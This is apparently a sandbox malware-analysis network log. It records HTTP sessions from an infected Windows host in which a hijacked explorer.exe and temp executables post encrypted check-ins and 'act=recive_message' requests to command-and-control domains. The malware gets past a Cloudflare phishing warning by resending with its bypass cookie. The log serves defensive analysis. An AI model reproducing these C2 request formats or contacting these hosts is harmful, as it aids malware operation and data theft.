Dec 19, 2023 03:23:29.360095024 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:28 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49778	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:29.669178009 CET	283	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://okduhmafsysi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 307 Host: humydrole.com
Dec 19, 2023 03:23:29.669214964 CET	307	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 05 6b 2c 90 f5 76 0b 75 51 32 fb 89 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuQ2OLpH<0f'Jhnm3\RYe2Af,M-4.J,+zA*[-kFMa&y+#\|I?
Dec 19, 2023 03:23:30.839313030 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49779	172.67.183.217	80	6544	C:\Users\user\AppData\Local\Temp\826E.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:30.048054934 CET	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: diagramfiremonkeyowwa.fun
Dec 19, 2023 03:23:30.048085928 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:23:30.193375111 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=0gNEXDaNamDfmZXY%2BkCU4%2BLJAFD7vl%2BwwU4voOZtgcwWXLMfJOSWjRE4Mottf0WjaCmUouZ1F9HYstUyAzXzPutb3%2FdxQ7Ituchf1h%2BjfVCj1RtOHSzZdSb8Wg2oZ256%2FQ5cNDbzO7LOgCQ%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 837c2f151b0921f9-MIA Data Raw: 31 32 37 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f Data Ascii: 1279<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/
Dec 19, 2023 03:23:30.193417072 CET	1286	IN	Data Raw: 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 Data Ascii: cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled)
Dec 19, 2023 03:23:30.193473101 CET	1286	IN	Data Raw: 65 20 70 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 68 20 61 73 20 70 61 73 73 77 6f 72 64 73 20 61 6e 64 20 63 72 65 64 69 74 20 63 61 72 64 20 64 65 74 61 69 6c 73 20 62 79 20 70 72 65 74 65 6e 64 69 6e 67 20 74 6f 20 Data Ascii: e personal information such as passwords and credit card details by pretending to be a trustworthy source.</p> <p> <form action="/cdn-cgi/phish-bypass" method="GET"> <input type="hidden" name="atok" va
Dec 19, 2023 03:23:30.193512917 CET	1286	IN	Data Raw: 2d 63 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 Data Ascii: -center sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">837c2f151b0921f9</strong></span> <span class="cf
Dec 19, 2023 03:23:30.193546057 CET	163	IN	Data Raw: 72 6f 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 77 72 61 70 70 65 72 20 2d Data Ascii: ror-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>
Dec 19, 2023 03:23:30.193578005 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 19, 2023 03:23:30.198544025 CET	356	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=u0fleITzRZiQG4JOT0aDFO_oi_iP.ZojN44JuKD6cmg-1702952610-0-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 79 Host: diagramfiremonkeyowwa.fun
Dec 19, 2023 03:23:30.198580027 CET	79	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4e 6d 4c 70 51 57 2d 2d 73 70 61 6d 32 26 6a 3d 37 64 39 38 36 35 32 64 65 64 38 35 31 35 65 62 34 31 32 34 63 35 33 33 61 36 37 31 63 37 61 61 Data Ascii: act=recive_message&ver=4.0&lid=NmLpQW--spam2&j=7d98652ded8515eb4124c533a671c7aa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49780	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:31.128371000 CET	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tkjmqomwibrbtd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 338 Host: humydrole.com
Dec 19, 2023 03:23:31.128403902 CET	338	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1a 6b 2c 90 f5 76 0b 75 39 37 c4 fc Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vu97GEe}b3o?3i@Z%[XSd>NF"t66y^ZmI68KHEN~`N[f,UXa-2.}
Dec 19, 2023 03:23:32.290884018 CET	587	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:23:31 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 340 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49781	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:32.586174965 CET	286	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ovfmonorcjjplwd.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 302 Host: humydrole.com
Dec 19, 2023 03:23:32.586213112 CET	302	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2d 5b 1b 6b 2c 90 f5 76 0b 75 51 33 e5 e7 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA -[k,vuQ3T&R~>x3]nk9@0sQ4Lt/FMy}uO@ &SdOWR6.?AL#,'Lj7\Kt54Bb
Dec 19, 2023 03:23:33.757352114 CET	238	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:23:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49783	172.67.183.217	80	4476	C:\Users\user\AppData\Local\Temp\933A.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:23:35.205605030 CET	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: diagramfiremonkeyowwa.fun
Dec 19, 2023 03:23:35.205637932 CET	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
Dec 19, 2023 03:23:35.345943928 CET	1286	IN	HTTP/1.1 200 OK Date: Tue, 19 Dec 2023 02:23:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oA8doBIfKualFgVRkIREquGQFXi3O2I6Es99Jf7t4W248jf01rckGK2omxK3Kuay34oZ%2BE0GiBGEyZqxpGoml9XRlMOzcHAmBzbqH2v8cydX0DmPTOdrL96OAzo8pnq5fusXxAwVCW7xHHvQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 837c2f355d5c25be-MIA Data Raw: 31 32 37 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 53 75 73 70 65 63 74 65 64 20 70 68 69 73 68 69 6e 67 20 73 69 74 65 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 Data Ascii: 1279<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE 8]>...> <html class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.cs
Dec 19, 2023 03:23:35.346052885 CET	1286	IN	Data Raw: 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 Data Ascii: s" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window
Dec 19, 2023 03:23:35.346148014 CET	1286	IN	Data Raw: 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 68 20 61 73 20 70 61 73 73 77 6f 72 64 73 20 61 6e 64 20 63 72 65 64 69 74 20 63 61 72 64 20 64 65 74 61 69 6c 73 20 62 79 20 70 72 65 74 65 6e 64 69 6e 67 20 74 6f 20 62 65 20 61 20 74 72 75 73 74 77 6f Data Ascii: nformation such as passwords and credit card details by pretending to be a trustworthy source.</p> <p> <form action="/cdn-cgi/phish-bypass" method="GET"> <input type="hidden" name="atok" value="CKXa02f
Dec 19, 2023 03:23:35.346188068 CET	1286	IN	Data Raw: 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 Data Ascii: ext-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">837c2f355d5c25be</strong></span> <span class="cf-footer-sepa
Dec 19, 2023 03:23:35.346226931 CET	151	IN	Data Raw: 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 77 72 61 70 70 65 72 20 2d 2d 3e 0a 0a 20 20 3c 73 63 72 69 70 Data Ascii: -> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>
Dec 19, 2023 03:23:35.346275091 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 19, 2023 03:23:35.357436895 CET	356	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=CKXa02fI4YJSNwHyHwGze3HUyGBV4G26bHxhSKZ01XM-1702952615-0-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 58 Host: diagramfiremonkeyowwa.fun
Dec 19, 2023 03:23:35.357466936 CET	58	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 4d 79 52 6e 48 75 2d 2d 49 6e 73 74 61 6c 6c 31 38 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=MyRnHu--Install18&j=default&ver=4.0
